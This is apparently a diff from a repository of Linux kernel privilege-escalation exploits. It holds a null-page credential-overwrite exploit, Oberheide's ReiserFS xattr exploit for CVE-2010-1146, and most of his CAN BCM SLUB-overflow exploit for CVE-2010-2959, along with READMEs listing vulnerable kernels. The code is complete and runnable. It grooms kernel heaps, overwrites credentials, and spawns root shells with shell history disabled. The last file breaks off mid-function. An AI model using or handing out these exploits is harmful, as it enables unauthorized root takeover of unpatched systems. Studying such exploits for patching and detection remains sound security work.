if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
|
||||
{
|
||||
free(page);
|
||||
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// may be we are lucky today ... :)
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
|
||||
{
|
||||
free(page);
|
||||
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("\t\t+ Got null page\n");
|
||||
return page;
|
||||
}
|
||||
|
||||
void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :))
|
||||
{
|
||||
char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
|
||||
char *envp[] = { "TERM=linux", "PS1=blackbird\\$ ", "BASH_HISTORY=/dev/null",
|
||||
"HISTORY=/dev/null", "history=/dev/null",
|
||||
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
|
||||
execve("/bin/sh", argv, envp);
|
||||
error("hheeeehhh! unable to spawn a sh");
|
||||
}
|
||||
|
||||
|
||||
|
||||
int is_done(int new)
|
||||
{
|
||||
static int done = 0;
|
||||
if (done == 1)
|
||||
return (1);
|
||||
done = new;
|
||||
}
|
||||
|
||||
volatile int done = 0;
|
||||
|
||||
void get_cur_task_and_escalate_priv()
|
||||
{
|
||||
uint32_t i;
|
||||
uint32_t *task = get_current();
|
||||
uint32_t *cred = 0;
|
||||
|
||||
|
||||
for(i=0; i<0x1000; i++)
|
||||
{
|
||||
if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
|
||||
{
|
||||
task[i] = 0;
|
||||
task[i+1] = 0;
|
||||
task[i+2] = 0;
|
||||
task[i+3] = 0;
|
||||
is_done(1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i<1024; i++)
|
||||
{
|
||||
taskstruct[i] = task[i];
|
||||
cred = (uint32_t *)task[i];
|
||||
if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
|
||||
cred++; /* Get ride of the cred's 'usage' field */
|
||||
if (cred[0] == uid && cred[1] == gid
|
||||
&& cred[2] == uid && cred[3] == gid
|
||||
&& cred[4] == uid && cred[5] == gid
|
||||
&& cred[6] == uid && cred[7] == gid)
|
||||
{
|
||||
/* Get root */
|
||||
cred[0] = cred[2] = cred[4] = cred[6] = 0;
|
||||
cred[1] = cred[3] = cred[5] = cred[7] = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
is_done(1);
|
||||
}
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
int fd[2];
|
||||
int pid;
|
||||
char tapz[4];
|
||||
|
||||
|
||||
uid = getuid();
|
||||
gid = getgid();
|
||||
setresuid(uid, uid, uid);
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
map_struct_at_null();
|
||||
|
||||
//while (1)
|
||||
{
|
||||
pid = fork();
|
||||
if (pid == -1)
|
||||
{
|
||||
perror("fork");
|
||||
return (-1);
|
||||
}
|
||||
if (pid)
|
||||
{
|
||||
char path[1024];
|
||||
/* I assume next opened fd will be 4 */
|
||||
sprintf(path, "/proc/%d/fd/4", pid);
|
||||
while (!is_done(0))
|
||||
{
|
||||
fd[0] = open(path, O_RDWR);
|
||||
if (fd[0] != -1)
|
||||
{
|
||||
if(iz_kern2600_10)
|
||||
{
|
||||
memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
|
||||
write(fd[0], tapz, 4);
|
||||
}
|
||||
close(fd[0]);
|
||||
}
|
||||
}
|
||||
if(iz_kern2600_10)
|
||||
{
|
||||
syscall(__NR_olduname, NULL);
|
||||
}
|
||||
printf("\t\t+ Got root!\n");
|
||||
gomu_gomu_nooooo_gatling_shell();
|
||||
return (0);
|
||||
}
|
||||
|
||||
while (!is_done(0))
|
||||
{
|
||||
if (pipe(fd) != -1)
|
||||
{
|
||||
close(fd[0]);
|
||||
close(fd[1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
15
98-Linux提权/2010/CVE-2010-0415/README.md
Normal file
15
98-Linux提权/2010/CVE-2010-0415/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# CVE-2010-0415
|
||||
|
||||
CVE-2010-0415
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-0415](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0415)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
111
98-Linux提权/2010/CVE-2010-1146/12130.py
Normal file
111
98-Linux提权/2010/CVE-2010-1146/12130.py
Normal file
@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
'''
|
||||
team-edward.py
|
||||
|
||||
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
|
||||
Jon Oberheide <jon@oberheide.org>
|
||||
http://jon.oberheide.org
|
||||
|
||||
Information:
|
||||
|
||||
https://bugzilla.redhat.com/show_bug.cgi?id=568041
|
||||
|
||||
The kernel allows processes to access the internal ".reiserfs_priv"
|
||||
directory at the top of a reiserfs filesystem which is used to store
|
||||
xattrs. Permissions are not enforced in that tree, so unprivileged
|
||||
users can view and potentially modify the xattrs on arbitrary files.
|
||||
|
||||
Usage:
|
||||
|
||||
$ python team-edward.py
|
||||
[+] checking for reiserfs mount with user_xattr mount option
|
||||
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs
|
||||
[+] preparing shell in /tmp
|
||||
[+] capturing pre-shell snapshot of private xattrs directory
|
||||
[+] compiling shell in /tmp
|
||||
[+] setting dummy xattr to get reiserfs object id
|
||||
[+] capturing post-shell snapshot of private xattrs directory
|
||||
[+] found 1 new object ids
|
||||
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
|
||||
[+] spawning setuid shell...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=4(adm), ...
|
||||
|
||||
Notes:
|
||||
|
||||
Obviously requires a ReiserFS filesystem mounted with extended attributes.
|
||||
Tested on Ubuntu Jaunty 9.10.
|
||||
'''
|
||||
|
||||
import os, sys
|
||||
|
||||
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
|
||||
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
|
||||
def err(txt):
|
||||
print '[-] error: %s' % txt
|
||||
sys.exit(1)
|
||||
|
||||
def msg(txt):
|
||||
print '[+] %s' % txt
|
||||
|
||||
def main():
|
||||
msg('checking for reiserfs mount with user_xattr mount option')
|
||||
|
||||
f = open('/etc/fstab')
|
||||
for line in f:
|
||||
if 'reiserfs' in line and 'user_xattr' in line:
|
||||
break
|
||||
else:
|
||||
err('failed to find a reiserfs mount with user_xattr')
|
||||
f.close()
|
||||
|
||||
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
|
||||
|
||||
if not os.path.exists('/.reiserfs_priv/xattrs'):
|
||||
err('failed to locate private xattrs directory')
|
||||
|
||||
msg('preparing shell in /tmp')
|
||||
|
||||
f = open('/tmp/team-edward.c', 'w')
|
||||
f.write(SHELL)
|
||||
f.close()
|
||||
|
||||
msg('capturing pre-shell snapshot of private xattrs directory')
|
||||
|
||||
pre = set(os.listdir('/.reiserfs_priv/xattrs'))
|
||||
|
||||
msg('compiling shell in /tmp')
|
||||
|
||||
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
|
||||
if ret != 0:
|
||||
err('error compiling shell, you need gcc')
|
||||
|
||||
msg('setting dummy xattr to get reiserfs object id')
|
||||
|
||||
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
|
||||
if ret != 0:
|
||||
err('error setting xattr, you need setfattr')
|
||||
|
||||
msg('capturing post-shell snapshot of private xattrs directory')
|
||||
|
||||
post = set(os.listdir('/.reiserfs_priv/xattrs'))
|
||||
|
||||
objs = post.difference(pre)
|
||||
|
||||
msg('found %s new object ids' % len(objs))
|
||||
|
||||
for obj in objs:
|
||||
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
|
||||
|
||||
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
|
||||
f.write(XATTR)
|
||||
f.close()
|
||||
|
||||
msg('spawning setuid shell...')
|
||||
|
||||
os.system('/tmp/team-edward')
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
19
98-Linux提权/2010/CVE-2010-1146/README.md
Normal file
19
98-Linux提权/2010/CVE-2010-1146/README.md
Normal file
@ -0,0 +1,19 @@
|
||||
# CVE-2010-1146
|
||||
|
||||
CVE-2010-1146
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-1146](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1146)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/12130/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ python team-edward.py
|
||||
```
|
||||
|
||||
|
615
98-Linux提权/2010/CVE-2010-2959/14814.c
Normal file
615
98-Linux提权/2010/CVE-2010-2959/14814.c
Normal file
@ -0,0 +1,615 @@
|
||||
/*
|
||||
* i-CAN-haz-MODHARDEN.c
|
||||
*
|
||||
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
|
||||
*
|
||||
* Ben Hawkes discovered an integer overflow in the Controller Area Network
|
||||
* (CAN) subsystem when setting up frame content and filtering certain
|
||||
* messages. An attacker could send specially crafted CAN traffic to crash
|
||||
* the system or gain root privileges.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
|
||||
* $ ./i-can-haz-modharden
|
||||
* ...
|
||||
* [+] launching root shell!
|
||||
* # id
|
||||
* uid=0(root) gid=0(root)
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* The allocation pattern of the CAN BCM module gives us some desirable
|
||||
* properties for smashing the SLUB. We control the kmalloc with a 16-byte
|
||||
* granularity allowing us to place our allocation in the SLUB cache of our
|
||||
* choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for
|
||||
* old-times sake). The allocation can also be made in its own discrete
|
||||
* stage before the overwrite which allows us to be a bit more conservative
|
||||
* in ensuring the proper layout of our SLUB cache.
|
||||
*
|
||||
* To exploit the vulnerability, we first create a BCM RX op with a crafted
|
||||
* nframes to trigger the integer overflow during the kmalloc. On the second
|
||||
* call to update the existing RX op, we bypass the E2BIG check since the
|
||||
* stored nframes in the op is large, yet has an insufficiently sized
|
||||
* allocation associated with it. We then have a controlled write into the
|
||||
* adjacent shmid_kernel object in the 96-byte SLUB cache.
|
||||
*
|
||||
* However, while we control the length of the SLUB overwrite via a
|
||||
* memcpy_fromiovec operation, there exists a memset operation that directly
|
||||
* follows which zeros out last_frames, likely an adjacent allocation, with
|
||||
* the same malformed length, effectively nullifying our shmid smash. To
|
||||
* work around this, we take advantage of the fact that copy_from_user can
|
||||
* perform partial writes on x86 and trigger an EFAULT by setting up a
|
||||
* truncated memory mapping as the source for the memcpy_fromiovec operation,
|
||||
* allowing us to smash the necessary amount of memory and then pop out and
|
||||
* return early before the memset operation occurs.
|
||||
*
|
||||
* We then perform a dry-run and detect the shmid smash via an EIDRM errno
|
||||
* from shmat() caused by an invalid ipc_perm sequence number. Once we're
|
||||
* sure we have a shmid_kernel under our control we re-smash it with the
|
||||
* malformed version and redirect control flow to our credential modifying
|
||||
* calls mapped in user space.
|
||||
*
|
||||
* Distros: please use grsecurity's MODHARDEN or SELinux's module_request
|
||||
* to restrict unprivileged loading of uncommon packet families. Allowing
|
||||
* the loading of poorly-written PF modules just adds a non-trivial and
|
||||
* unnecessary attack surface to the kernel.
|
||||
*
|
||||
* Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
|
||||
* easily to other vulnerable kernels/distros. Careful, it could use some
|
||||
* post-exploitation stability love as well.
|
||||
*
|
||||
* Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
|
||||
* this exploit borrows code from.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/shm.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define SLUB "kmalloc-96"
|
||||
#define ALLOCATION 96
|
||||
#define FILLER 100
|
||||
|
||||
#ifndef PF_CAN
|
||||
#define PF_CAN 29
|
||||
#endif
|
||||
|
||||
#ifndef CAN_BCM
|
||||
#define CAN_BCM 2
|
||||
#endif
|
||||
|
||||
struct sockaddr_can {
|
||||
sa_family_t can_family;
|
||||
int can_ifindex;
|
||||
union {
|
||||
struct { uint32_t rx_id, tx_id; } tp;
|
||||
} can_addr;
|
||||
};
|
||||
|
||||
struct can_frame {
|
||||
uint32_t can_id;
|
||||
uint8_t can_dlc;
|
||||
uint8_t data[8] __attribute__((aligned(8)));
|
||||
};
|
||||
|
||||
struct bcm_msg_head {
|
||||
uint32_t opcode;
|
||||
uint32_t flags;
|
||||
uint32_t count;
|
||||
struct timeval ival1, ival2;
|
||||
uint32_t can_id;
|
||||
uint32_t nframes;
|
||||
struct can_frame frames[0];
|
||||
};
|
||||
|
||||
#define RX_SETUP 5
|
||||
#define RX_DELETE 6
|
||||
#define CFSIZ sizeof(struct can_frame)
|
||||
#define MHSIZ sizeof(struct bcm_msg_head)
|
||||
#define IPCMNI 32768
|
||||
#define EIDRM 43
|
||||
#define HDRLEN_KMALLOC 8
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct super_block {
|
||||
struct list_head s_list;
|
||||
unsigned int s_dev;
|
||||
unsigned long s_blocksize;
|
||||
unsigned char s_blocksize_bits;
|
||||
unsigned char s_dirt;
|
||||
uint64_t s_maxbytes;
|
||||
void *s_type;
|
||||
void *s_op;
|
||||
void *dq_op;
|
||||
void *s_qcop;
|
||||
void *s_export_op;
|
||||
unsigned long s_flags;
|
||||
} super_block;
|
||||
|
||||
struct mutex {
|
||||
unsigned int count;
|
||||
unsigned int wait_lock;
|
||||
struct list_head wait_list;
|
||||
void *owner;
|
||||
};
|
||||
|
||||
struct inode {
|
||||
struct list_head i_hash;
|
||||
struct list_head i_list;
|
||||
struct list_head i_sb_list;
|
||||
struct list_head i_dentry_list;
|
||||
unsigned long i_ino;
|
||||
unsigned int i_count;
|
||||
unsigned int i_nlink;
|
||||
unsigned int i_uid;
|
||||
unsigned int i_gid;
|
||||
unsigned int i_rdev;
|
||||
uint64_t i_version;
|
||||
uint64_t i_size;
|
||||
unsigned int i_size_seqcount;
|
||||
long i_atime_tv_sec;
|
||||
long i_atime_tv_nsec;
|
||||
long i_mtime_tv_sec;
|
||||
long i_mtime_tv_nsec;
|
||||
long i_ctime_tv_sec;
|
||||
long i_ctime_tv_nsec;
|
||||
uint64_t i_blocks;
|
||||
unsigned int i_blkbits;
|
||||
unsigned short i_bytes;
|
||||
unsigned short i_mode;
|
||||
unsigned int i_lock;
|
||||
struct mutex i_mutex;
|
||||
unsigned int i_alloc_sem_activity;
|
||||
unsigned int i_alloc_sem_wait_lock;
|
||||
struct list_head i_alloc_sem_wait_list;
|
||||
void *i_op;
|
||||
void *i_fop;
|
||||
struct super_block *i_sb;
|
||||
void *i_flock;
|
||||
void *i_mapping;
|
||||
char i_data[84];
|
||||
void *i_dquot_1;
|
||||
void *i_dquot_2;
|
||||
struct list_head i_devices;
|
||||
void *i_pipe_union;
|
||||
unsigned int i_generation;
|
||||
unsigned int i_fsnotify_mask;
|
||||
void *i_fsnotify_mark_entries;
|
||||
struct list_head inotify_watches;
|
||||
struct mutex inotify_mutex;
|
||||
} inode;
|
||||
|
||||
struct dentry {
|
||||
unsigned int d_count;
|
||||
unsigned int d_flags;
|
||||
unsigned int d_lock;
|
||||
int d_mounted;
|
||||
void *d_inode;
|
||||
struct list_head d_hash;
|
||||
void *d_parent;
|
||||
} dentry;
|
||||
|
||||
struct file_operations {
|
||||
void *owner;
|
||||
void *llseek;
|
||||
void *read;
|
||||
void *write;
|
||||
void *aio_read;
|
||||
void *aio_write;
|
||||
void *readdir;
|
||||
void *poll;
|
||||
void *ioctl;
|
||||
void *unlocked_ioctl;
|
||||
void *compat_ioctl;
|
||||
void *mmap;
|
||||
void *open;
|
||||
void *flush;
|
||||
void *release;
|
||||
void *fsync;
|
||||
void *aio_fsync;
|
||||
void *fasync;
|
||||
void *lock;
|
||||
void *sendpage;
|
||||
void *get_unmapped_area;
|
||||
void *check_flags;
|
||||
void *flock;
|
||||
void *splice_write;
|
||||
void *splice_read;
|
||||
void *setlease;
|
||||
} op;
|
||||
|
||||
struct vfsmount {
|
||||
struct list_head mnt_hash;
|
||||
void *mnt_parent;
|
||||
void *mnt_mountpoint;
|
||||
void *mnt_root;
|
||||
void *mnt_sb;
|
||||
struct list_head mnt_mounts;
|
||||
struct list_head mnt_child;
|
||||
int mnt_flags;
|
||||
const char *mnt_devname;
|
||||
struct list_head mnt_list;
|
||||
struct list_head mnt_expire;
|
||||
struct list_head mnt_share;
|
||||
struct list_head mnt_slave_list;
|
||||
struct list_head mnt_slave;
|
||||
struct vfsmount *mnt_master;
|
||||
struct mnt_namespace *mnt_ns;
|
||||
int mnt_id;
|
||||
int mnt_group_id;
|
||||
int mnt_count;
|
||||
} vfsmount;
|
||||
|
||||
struct file {
|
||||
struct list_head fu_list;
|
||||
struct vfsmount *f_vfsmnt;
|
||||
struct dentry *f_dentry;
|
||||
void *f_op;
|
||||
unsigned int f_lock;
|
||||
unsigned long f_count;
|
||||
} file;
|
||||
|
||||
struct kern_ipc_perm {
|
||||
unsigned int lock;
|
||||
int deleted;
|
||||
int id;
|
||||
unsigned int key;
|
||||
unsigned int uid;
|
||||
unsigned int gid;
|
||||
unsigned int cuid;
|
||||
unsigned int cgid;
|
||||
unsigned int mode;
|
||||
unsigned int seq;
|
||||
void *security;
|
||||
};
|
||||
|
||||
struct shmid_kernel {
|
||||
struct kern_ipc_perm shm_perm;
|
||||
struct file *shm_file;
|
||||
unsigned long shm_nattch;
|
||||
unsigned long shm_segsz;
|
||||
time_t shm_atim;
|
||||
time_t shm_dtim;
|
||||
time_t shm_ctim;
|
||||
unsigned int shm_cprid;
|
||||
unsigned int shm_lprid;
|
||||
void *mlock_user;
|
||||
} shmid_kernel;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
kernel_code(struct file *file, void *vma)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
int ret = 0, oldstyle;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
check_slabinfo(char *cache, int *active_out, int *total_out)
|
||||
{
|
||||
FILE *fp;
|
||||
char name[64], slab[256];
|
||||
int active, total, diff;
|
||||
|
||||
memset(slab, 0, sizeof(slab));
|
||||
memset(name, 0, sizeof(name));
|
||||
|
||||
fp = fopen("/proc/slabinfo", "r");
|
||||
if (!fp) {
|
||||
printf("[-] sorry, /proc/slabinfo is not available!");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fgets(slab, sizeof(slab) - 1, fp);
|
||||
while (1) {
|
||||
fgets(slab, sizeof(slab) - 1, fp);
|
||||
sscanf(slab, "%s %u %u", name, &active, &total);
|
||||
diff = total - active;
|
||||
if (strcmp(name, cache) == 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
if (active_out) {
|
||||
*active_out = active;
|
||||
}
|
||||
if (total_out) {
|
||||
*total_out = total;
|
||||
}
|
||||
return diff;
|
||||
}
|
||||
|
||||
void
|
||||
trigger(void)
|
||||
{
|
||||
int *shmids;
|
||||
int i, ret, sock, cnt, base, smashed;
|
||||
int diff, active, total, active_new, total_new;
|
||||
int len, sock_len, mmap_len;
|
||||
struct sockaddr_can addr;
|
||||
struct bcm_msg_head *msg;
|
||||
void *efault;
|
||||
char *buf;
|
||||
|
||||
printf("[+] creating PF_CAN socket...\n");
|
||||
|
||||
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
|
||||
if (sock < 0) {
|
||||
printf("[-] kernel lacks CAN packet family support\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] connecting PF_CAN socket...\n");
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.can_family = PF_CAN;
|
||||
|
||||
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
|
||||
if (sock < 0) {
|
||||
printf("[-] could not connect CAN socket\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
|
||||
msg = malloc(len);
|
||||
memset(msg, 0, len);
|
||||
msg->can_id = 2959;
|
||||
msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
|
||||
|
||||
printf("[+] clearing out any active OPs via RX_DELETE...\n");
|
||||
|
||||
msg->opcode = RX_DELETE;
|
||||
ret = send(sock, msg, len, 0);
|
||||
|
||||
printf("[+] removing any active user-owned shmids...\n");
|
||||
|
||||
system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
|
||||
|
||||
printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");
|
||||
|
||||
diff = check_slabinfo(SLUB, &active, &total);
|
||||
|
||||
shmids = malloc(sizeof(int) * diff * 10);
|
||||
|
||||
cnt = diff * 10;
|
||||
for (i = 0; i < cnt; ++i) {
|
||||
diff = check_slabinfo(SLUB, &active, &total);
|
||||
if (diff == 0) {
|
||||
break;
|
||||
}
|
||||
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
|
||||
}
|
||||
base = i;
|
||||
|
||||
if (diff != 0) {
|
||||
printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");
|
||||
|
||||
i = base;
|
||||
cnt = i + FILLER;
|
||||
for (; i < cnt; ++i) {
|
||||
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
|
||||
}
|
||||
|
||||
msg->opcode = RX_SETUP;
|
||||
ret = send(sock, msg, len, 0);
|
||||
if (ret < 0) {
|
||||
printf("[-] kernel rejected malformed CAN header\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
i = base + FILLER;
|
||||
cnt = i + FILLER;
|
||||
for (; i < cnt; ++i) {
|
||||
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
|
||||
}
|
||||
|
||||
printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
|
||||
|
||||
mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
|
||||
sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
|
||||
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
|
||||
|
||||
printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
|
||||
|
||||
msg = (struct bcm_msg_head *) efault;
|
||||
memset(msg, 0, mmap_len);
|
||||
msg->can_id = 2959;
|
||||
msg->nframes = (ALLOCATION / 16) * 4;
|
||||
|
||||
msg->opcode = RX_SETUP;
|
||||
ret = send(sock, msg, mmap_len, 0);
|
||||
if (ret != -1 && errno != EFAULT) {
|
||||
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] seeking out the smashed shmid_kernel...\n");
|
||||
|
||||
i = base;
|
||||
cnt = i + FILLER + FILLER;
|
||||
for (; i < cnt; ++i) {
|
||||
ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
|
||||
if (ret == -1 && errno == EIDRM) {
|
||||
smashed = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i == cnt) {
|
||||
printf("[-] could not find smashed shmid, trying running the exploit again!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);
|
||||
|
||||
printf("[+] re-smashing the shmid_kernel with exploit payload...\n");
|
||||
|
||||
shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
|
||||
|
||||
buf = (char *) msg;
|
||||
memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
|
||||
|
||||
msg->opcode = RX_SETUP;
|
||||
ret = send(sock, msg, mmap_len, 0);
|
||||
if (ret != -1 && errno != EFAULT) {
|
||||
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
|
||||
if (ret == -1 && errno != EIDRM) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
|
||||
printf("[+] launching root shell!\n");
|
||||
|
||||
execl("/bin/bash", "/bin/bash", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
printf("[-] exploit failed! retry?\n");
|
||||
}
|
||||
|
||||
void
|
||||
setup(void)
|
||||
{
|
||||
printf("[+] looking for symbols...\n");
|
||||
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("[-] symbol table not availabe, aborting!\n");
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("[-] symbol table not availabe, aborting!\n");
|
||||
}
|
||||
|
||||
printf("[+] setting up exploit payload...\n");
|
||||
|
||||
super_block.s_flags = 0;
|
||||
|
||||
inode.i_size = 4096;
|
||||
inode.i_sb = &super_block;
|
||||
inode.inotify_watches.next = &inode.inotify_watches;
|
||||
inode.inotify_watches.prev = &inode.inotify_watches;
|
||||
inode.inotify_mutex.count = 1;
|
||||
|
||||
